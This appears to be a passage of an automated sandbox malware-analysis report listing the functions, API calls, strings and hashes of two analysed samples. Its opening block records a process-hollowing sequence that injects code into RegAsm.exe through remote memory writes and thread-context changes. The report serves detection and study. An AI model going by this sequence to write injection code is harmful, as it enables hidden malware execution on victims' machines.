Wow64GetThreadContext.KERNEL32(000003A8,00000000), ref: 024C2345
ReadProcessMemory.KERNELBASE(000003AC,?,024C215B,00000004,00000000), ref: 024C2369
VirtualAllocEx.KERNELBASE(000003AC,?,?,00003000,00000040), ref: 024C2394
WriteProcessMemory.KERNELBASE(000003AC,00000000,?,?,00000000,?), ref: 024C23EC
WriteProcessMemory.KERNELBASE(000003AC,00400000,?,?,00000000,?,00000028), ref: 024C2437
WriteProcessMemory.KERNELBASE(000003AC,-00000008,?,00000004,00000000), ref: 024C2475
Wow64SetThreadContext.KERNEL32(000003A8,024A0000), ref: 024C24B1
ResumeThread.KERNELBASE(000003A8), ref: 024C24C0

Strings

ResumeThread, xrefs: 024C22E1
GetThreadContext, xrefs: 024C227F
ReadProcessMemory, xrefs: 024C2292
GetP, xrefs: 024C2227
CreateProcessA, xrefs: 024C2259
Load, xrefs: 024C21E3
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 024C2313
ress, xrefs: 024C222F
VirtualAlloc, xrefs: 024C226C
aryA, xrefs: 024C21EB
SetThreadContext, xrefs: 024C22CB
VirtualAllocEx, xrefs: 024C22A5
TerminateProcess, xrefs: 024C23A3
WriteProcessMemory, xrefs: 024C22B8

Memory Dump Source

Source File: 00000006.00000002.1971899594.00000000024C2000.00000040.00000800.00020000.00000000.sdmp, Offset: 024C2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_24c2000_Yt_9y5LuIpBZXKd9EiYluKkG.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: 69fe6deb1bc0a295dd052506eefdd9d06a1e2005cf7b028d90fc217bddc1265a
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: 76B1E57660028AAFDB60CF68CC80BDA77A5FF88714F158525EA0CAB341D774FA418B94

Function 00590BD0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 294
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(034C3590,?,00000001,0000012C,?,?,?,00000000,00000000,?,00590A73,00000001,00000040), ref: 00590FD9

Strings

<1i;, xrefs: 00590DCC
&S!, xrefs: 00590C67

Memory Dump Source

Source File: 00000006.00000002.1825992793.0000000000590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_590000_Yt_9y5LuIpBZXKd9EiYluKkG.jbxd

Similarity

API ID: ProtectVirtual
String ID: &S!$<1i;
API String ID: 544645111-1770337207
Opcode ID: f641017aebc00de9a7e904d2812a8dbcdf80d79015cf0ff8521808dd6470aff8
Instruction ID: d65fe0a68b93f7c070a95f0a74501ad36fa816180f493d776da4ab985edf0f83
Opcode Fuzzy Hash: f641017aebc00de9a7e904d2812a8dbcdf80d79015cf0ff8521808dd6470aff8
Instruction Fuzzy Hash: 61C18F70A042599FCF11CFA9C9806EDFBF2BF48310F248599E458AB286D7309E45CFA4

Function 00590500 Relevance: 1.6, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(034C3590,?,00000001,0000012C,?,?,?,00000000,00000000,?,00590A73,00000001,00000040), ref: 00590FD9

Memory Dump Source

Source File: 00000006.00000002.1825992793.0000000000590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_590000_Yt_9y5LuIpBZXKd9EiYluKkG.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 2b29689f40913a6d6e0ca66999672afda47f5a8896c5209fd25bbcd838d33ea5
Instruction ID: 1eeeb593286fef3760fdfb396b81c33885346977878a044f1043f81de7e96eab
Opcode Fuzzy Hash: 2b29689f40913a6d6e0ca66999672afda47f5a8896c5209fd25bbcd838d33ea5
Instruction Fuzzy Hash: 5921F4B5D0121DAFCB10CF9AC884BDEFBB4FB08310F10852AE918A7240C375AA54CFA5

Function 001FD006 Relevance: .1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.1825582575.00000000001FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fd000_Yt_9y5LuIpBZXKd9EiYluKkG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53e5e1bb7c749a0d8b5224fcb6e820e30a4dfa9f940f22a905f024c83e783e12
Instruction ID: 86791ec607fd22dbab63b6e8d088ac7923f050689a68d233225560366766eeba
Opcode Fuzzy Hash: 53e5e1bb7c749a0d8b5224fcb6e820e30a4dfa9f940f22a905f024c83e783e12
Instruction Fuzzy Hash: 3821F22154E3D44FD7038B219CA4662BFB49F53224F1E81CBE988CF1A7C66A8C49C772

Function 001FD059 Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.1825582575.00000000001FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fd000_Yt_9y5LuIpBZXKd9EiYluKkG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a18968a493e66488554996efa70833ee699133686dd7073f2d3e7e6fe37e7b71
Instruction ID: bc211183ea5387b1e7798e48781a7698c52998c24d7c8a65c45f6b883349415b
Opcode Fuzzy Hash: a18968a493e66488554996efa70833ee699133686dd7073f2d3e7e6fe37e7b71
Instruction Fuzzy Hash: 9901A7315087489BE7148B26ED84B76BB99DF41320F18855AFE094A286CB769841C676

Analysis Process: kFXFCWzZNovbPAcE4V3M4DAO.exePID: 5828, Parent PID: 6388COMMON

Executed Functions

Function 0040BA15 Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

4, xrefs: 0040BB53

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 9e629b54cac9a451dd8cf4de9c3dc0aa672878143de544fc65e081d80f5981e0
Instruction ID: 06e1ceb854ef84b575a7962212db0659957610df23ecc174af10c1a64159b46f
Opcode Fuzzy Hash: 9e629b54cac9a451dd8cf4de9c3dc0aa672878143de544fc65e081d80f5981e0
Instruction Fuzzy Hash: E37148B8A04758DFCB10CF49D084A9EBBF0FB8D314F11855AE999AB360C374A945DF86

Function 0040EDE7 Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

DDw, xrefs: 0040EDF7

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID: DDw
API String ID: 0-3534131856
Opcode ID: a1f967f7eba258def362798758692de9abbaaf3de280747deb2ecacb4f8d8fa3
Instruction ID: ff4cb255bcfa3961e0fe95926e445b576633eec2521502d053448acf3f930ea5
Opcode Fuzzy Hash: a1f967f7eba258def362798758692de9abbaaf3de280747deb2ecacb4f8d8fa3
Instruction Fuzzy Hash: 9F31D7B9C0125D9BCB11CFA5C5808DEBBF8BB08354F50462BE816A7240EB75AA49CF95

Function 0040F973 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

epw, xrefs: 0040F97C

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID: epw
API String ID: 0-1342393776
Opcode ID: 754dbfdf68d6ce22778d702b36364a1a9da8e9d412cd0c6968cf2823b2018a77
Instruction ID: ad3cf9416c7fe639c0b2a46fbb163d31bb65300bf1d5073a3f6caef6081422cd
Opcode Fuzzy Hash: 754dbfdf68d6ce22778d702b36364a1a9da8e9d412cd0c6968cf2823b2018a77
Instruction Fuzzy Hash: 5731DAB9D0125D9BCB11CFA5D5809DEBBF8BB08354F50462BEC16A7200EB75AA49CF90

Function 00434A87 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

Qbw, xrefs: 00434A94

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID: Qbw
API String ID: 0-194342959
Opcode ID: 0fc2c5184d5dfd8847d7632d2e919ac56bbdabb92e077718b9cbb503e67fbc8d
Instruction ID: 9c1351d4b6caf7e1237ee6c664253fa6904c16cce53cb7fca03acf8668862632
Opcode Fuzzy Hash: 0fc2c5184d5dfd8847d7632d2e919ac56bbdabb92e077718b9cbb503e67fbc8d
Instruction Fuzzy Hash: A9F0C2B490021E9BCF00EF98C5859EEBBF4FB88354F504926D825E7340E778EA45CBA5

Function 00402EDF Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 760896b2aee56d0295996270ef9d4f7026b21dbcd13450151500debee2736954
Instruction ID: a7bbc802fe2571180ce02fed74db587fe8b2022bbcb9d549d90974f4b141ae82
Opcode Fuzzy Hash: 760896b2aee56d0295996270ef9d4f7026b21dbcd13450151500debee2736954
Instruction Fuzzy Hash: 32F11A78A04B58CFCB60CF58D480A89BBF0FF4D310F51859AE999A7325DB31A994DF42

Function 0040D5EF Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d05d5b55ab5d281bf43c0400ee2bb0740eec87947755b1b6c9e3bdbbfd5912aa
Instruction ID: 03cc52901bbfb8bf9bf7738f347d42c743177a143523bf09c2e8cbf2a7f54d2f
Opcode Fuzzy Hash: d05d5b55ab5d281bf43c0400ee2bb0740eec87947755b1b6c9e3bdbbfd5912aa
Instruction Fuzzy Hash: 30E10678A04718DFCB14CF59C580A89BBF1BF8D360F11859AE989AB325D730E981DF91

Function 00419A2E Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 464e27582cf6649143c0fd40e555fbee6f24d4b89e54a209db8efc06fdb022a7
Instruction ID: 3457ff29f82d20b5d8fd5121ec820f28e15921cbff36a6e0af6e117ffa7c0722
Opcode Fuzzy Hash: 464e27582cf6649143c0fd40e555fbee6f24d4b89e54a209db8efc06fdb022a7
Instruction Fuzzy Hash: 3EE10478A04718DFCB14CF59C580A89BBF1BF8D360F11859AE999AB325D330E981DF81

Function 00419544 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fd867ddaa1f141ebbc3329754c4bcf66b1d5991ab85ac2f7853ca91ad7ed731
Instruction ID: 216e2d8daa721d26c273130998637a1db3e7d4624dee62b8437dbab3185c5531
Opcode Fuzzy Hash: 9fd867ddaa1f141ebbc3329754c4bcf66b1d5991ab85ac2f7853ca91ad7ed731
Instruction Fuzzy Hash: 68A1E278A05B089FCB40CF59D180A89BBF0FF8E350F118499EA99AB321D374E945EF51

Function 0041C230 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69adc9dc28d3a5cebaf1e2920021f099cdcc5ee1f02bb66172ba3b1724f8f00b
Instruction ID: 80c034c2c5d00b8435276db71de84e7156c0b827479e61c4431c7afec51ddb72
Opcode Fuzzy Hash: 69adc9dc28d3a5cebaf1e2920021f099cdcc5ee1f02bb66172ba3b1724f8f00b
Instruction Fuzzy Hash: 99911378A04B48DFCB50CF59D184A99BBF0FB8D360F11849AEA89AB321D774E944DF41

Function 00420079 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0657d2327114765cf6d50e64ab17ca49d699a81d6b4fb72a2de315787d3f14f3
Instruction ID: 6ebaac531283eb5d9ae5243599f8039e98a63473c7fc68d02e89d4888494c773
Opcode Fuzzy Hash: 0657d2327114765cf6d50e64ab17ca49d699a81d6b4fb72a2de315787d3f14f3
Instruction Fuzzy Hash: 5C81E4B8A05B58DFCB14CF99D18088EBBF1BF8D310F21855AEA59A7324D370A945DF81

Function 004037CE Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec19c74fb9316e13c4f028af8222f94e0693e8388907715692105a9d2ce4b480
Instruction ID: 71d0003b2dbb1160d170c763ad233959574526ac00172b924ce6207cdf3cf275
Opcode Fuzzy Hash: ec19c74fb9316e13c4f028af8222f94e0693e8388907715692105a9d2ce4b480
Instruction Fuzzy Hash: 98817E78A04758CFCB20DF19C580A89BBF0FF8D700F51899AE999A7321D730A995DF42

Function 0041808F Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47f7b9e9e347b3be36ae6670d086d8dfd20af2d3b4802e6898072b5236595376
Instruction ID: 946ab9496b988125a1d7172d570afd8935ccf4a4e0496461268d5a6894530140
Opcode Fuzzy Hash: 47f7b9e9e347b3be36ae6670d086d8dfd20af2d3b4802e6898072b5236595376
Instruction Fuzzy Hash: 4B91A0B4909389DFDBB0CF69C580BCABBE0BB49354F10892AE99CD7311E77499448F52

Function 00403565 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85b1fa9865303f756f0b9717a81ec0827cc21167e47a73eaadc44f83dacccc7b
Instruction ID: a0f236e5d0df9b37c4e6c940b03c2ec61256c142f06fc1b0c8d9f8d45b76051c
Opcode Fuzzy Hash: 85b1fa9865303f756f0b9717a81ec0827cc21167e47a73eaadc44f83dacccc7b
Instruction Fuzzy Hash: 01910978A04758CFDB60CF59C480A89BBF1FF4D310F11859AE999A7321D770A984DF52

Function 0040FA9E Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4686f109465de48c1b439b8c71a38803cff5b54243bba38c86a0cef4e1409dcc
Instruction ID: 9d28ea5988406b27e28ac0e35e0701698dddff48d9054818f8336d21fa7a618e
Opcode Fuzzy Hash: 4686f109465de48c1b439b8c71a38803cff5b54243bba38c86a0cef4e1409dcc
Instruction Fuzzy Hash: D671F6B8A05718DFCB04CF49D180889BBF1FF8D360B11859AE999AB325D370E985DF91

Function 0041DE0F Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0fd995a0535d66fbf8d93fcf612809d312a8bafe780fd95330bd2b5e86082b1
Instruction ID: 8ef7825a1ec075b40599654fb1c252055c1ad8675ba953fc4d9b4917a83d5722
Opcode Fuzzy Hash: a0fd995a0535d66fbf8d93fcf612809d312a8bafe780fd95330bd2b5e86082b1
Instruction Fuzzy Hash: 57714C78A04B58CFCB20CF59C480A89BBF1FF8D310F11859AE999A7325C731A995DF41

Function 004032F0 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 923858075e3ccfc3f23f24c31cbb7c7bb812606a7cbff2504f5c4ced37368128
Instruction ID: 7875001053050d4b9963b4b54594464321954a6c23b4ce6b5b718db8b8db9832
Opcode Fuzzy Hash: 923858075e3ccfc3f23f24c31cbb7c7bb812606a7cbff2504f5c4ced37368128
Instruction Fuzzy Hash: 14810B78A04758CFDB64CF19D880B99BBF1BF8D314F10859AE989AB321D730A944DF52

Function 0041A3B1 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff19ab7c17b1164567668483bc10fbd3724df8a0a083bc6a1ef9d6daa4ccd103
Instruction ID: 8a4919e0dc6906820c4e188c9f89d91f7e78a0b4588b4f964a89bf793cc3f4a2
Opcode Fuzzy Hash: ff19ab7c17b1164567668483bc10fbd3724df8a0a083bc6a1ef9d6daa4ccd103
Instruction Fuzzy Hash: 58616D78A04B48CFCB50DF59E48499DBBF0FF8D300F518489E999A7368CB31A864DB45

Function 0043B185 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71515fc6581b81663060c3c421a8143cfc6c8739fb11a34e0ce4ab3498b050dc
Instruction ID: 3897eeba97446b2af28553d8f839a726315bf337643229ecd47882eb555cce25
Opcode Fuzzy Hash: 71515fc6581b81663060c3c421a8143cfc6c8739fb11a34e0ce4ab3498b050dc
Instruction Fuzzy Hash: 7F51F4B8A05718DFCB04CF49D18088ABBF1FF8D360B15859AE999AB321D330E941DF91

Function 00436AC6 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2507d4a326969412ccd7068bd9855747e38e5ced64a2b1e77ae5df07c9c12e56
Instruction ID: 1564520aa498f63d0b59bfa6f919deaf64d6442e53c30dd648ddf919dcc3f1b3
Opcode Fuzzy Hash: 2507d4a326969412ccd7068bd9855747e38e5ced64a2b1e77ae5df07c9c12e56
Instruction Fuzzy Hash: 7451F5B8A05718DFCB04CF49D18088ABBF5FF8D360B15859AE999AB325D330E941DF91

Function 004376F7 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1bd547dd77116f23cd577a8b8a9f66a04b3b1590976fe8d32d369055912c111
Instruction ID: f82ef2c11551a404a275db3bd14b1f5cd26310e3c2e35cf33542bdc21428b647
Opcode Fuzzy Hash: a1bd547dd77116f23cd577a8b8a9f66a04b3b1590976fe8d32d369055912c111
Instruction Fuzzy Hash: 3651F4B8A05718DFCB04CF49D18088ABBF1FF8D360B15859AE999AB325D330E941DF91

Function 0040BD54 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9437ed8b2398ee4f8ffd0951b3ddf388771631a1dcc2864186b7083ddeba871
Instruction ID: c7b323316d4ef485f01f9197854c2c03307abd4bf0bb31d19124c5b25610adeb
Opcode Fuzzy Hash: c9437ed8b2398ee4f8ffd0951b3ddf388771631a1dcc2864186b7083ddeba871
Instruction Fuzzy Hash: 0F51AEB4A09388DFDBA0CF69C580B8ABBE0BB49354F50891AFD9CD7311D77099448F52

Function 004122F3 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01cc68aa8a0fc92b80edb90b9a128ed33082a8dcd953c4f598ea56c90d646d54
Instruction ID: c175af2be5b10d4f86fefc3f52b73d3f64c8bef4ed78b81e2cbc19ab868a93ec
Opcode Fuzzy Hash: 01cc68aa8a0fc92b80edb90b9a128ed33082a8dcd953c4f598ea56c90d646d54
Instruction Fuzzy Hash: B251EFB580125DDFDB61CF61C580ACEBBF8BB09314F10426BD859E7201EB34A649CF91

Function 0043B386 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 871cbe70431c1b1ae055d4c6312bb84528e26e7fae6e35e4fa9732ef09bb2a66
Instruction ID: 1acb1b9fffb67215c210a65350fd227d44cb366036d13a279a11d4fcdb2aaf8c
Opcode Fuzzy Hash: 871cbe70431c1b1ae055d4c6312bb84528e26e7fae6e35e4fa9732ef09bb2a66
Instruction Fuzzy Hash: 6B412CB4D042499FCB51DFA8C581ADEBBF4FF48700F10892BE959E7301E734AA458B96

Function 00420AEB Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d12e41a42635ae090dab7913a27c4ed5f3ce8d2f1e18b1194890d533e8ce01c9
Instruction ID: 9e5b325c27251fe6bc44776f82e22ecce2cb6142372a6b1ea12b4621f2ca095c
Opcode Fuzzy Hash: d12e41a42635ae090dab7913a27c4ed5f3ce8d2f1e18b1194890d533e8ce01c9
Instruction Fuzzy Hash: 3251BEB8A05388DFDBA0CF69C580B8ABBE0BB49354F50891AFD98C7311E774D9448F52

Function 00416CF9 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b76f77ce44afe57e25671bd98e5ef850c8bee1381be3df855671c0526306ed55
Instruction ID: de80a7d7f0d5804ae5a25ef2471c8117b869fae19721465d5063ed92f82e4d8d
Opcode Fuzzy Hash: b76f77ce44afe57e25671bd98e5ef850c8bee1381be3df855671c0526306ed55
Instruction Fuzzy Hash: 7E51EEB980125DDBDB21CF60C580ACEBBF8BB09314F10466BDC59E7201EB34A6498F91

Function 00416BB1 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b12bbef5a321843318ffde741fd24aa6cf97ca6d069e83cfce6e3bb07d54c4c4
Instruction ID: d9c0ebb7eee968db1dd9cecc88ebf963aab656616b230140523257a26db35859
Opcode Fuzzy Hash: b12bbef5a321843318ffde741fd24aa6cf97ca6d069e83cfce6e3bb07d54c4c4
Instruction Fuzzy Hash: 0651DDB580125D9BCB11CFA5C580ACEBBF8BB09354F50426BED5AE7201EB34A649CF91

Function 0040A4FA Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 562f07bef823a2baec8536d0640e757515b45e5ff5104027384f96cef3953a98
Instruction ID: 78a957d37b61bc8c1de1e00f5071c348f6101ff74a1a97aab756f051f7e2a3c9
Opcode Fuzzy Hash: 562f07bef823a2baec8536d0640e757515b45e5ff5104027384f96cef3953a98
Instruction Fuzzy Hash: 4D41DCB4909348DFCBA0CF69C580A8ABBF0BB49354F50892AF998D7310E775E944CF42

Function 004074E5 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7247aff5e683c9bde50ac9ce9a5c5785329997548f64ae68fec0e7a2d75d95e8
Instruction ID: 2a25b59d71204d5c018ce00e97023ec0664de916d7aac22541bf2597bd655378
Opcode Fuzzy Hash: 7247aff5e683c9bde50ac9ce9a5c5785329997548f64ae68fec0e7a2d75d95e8
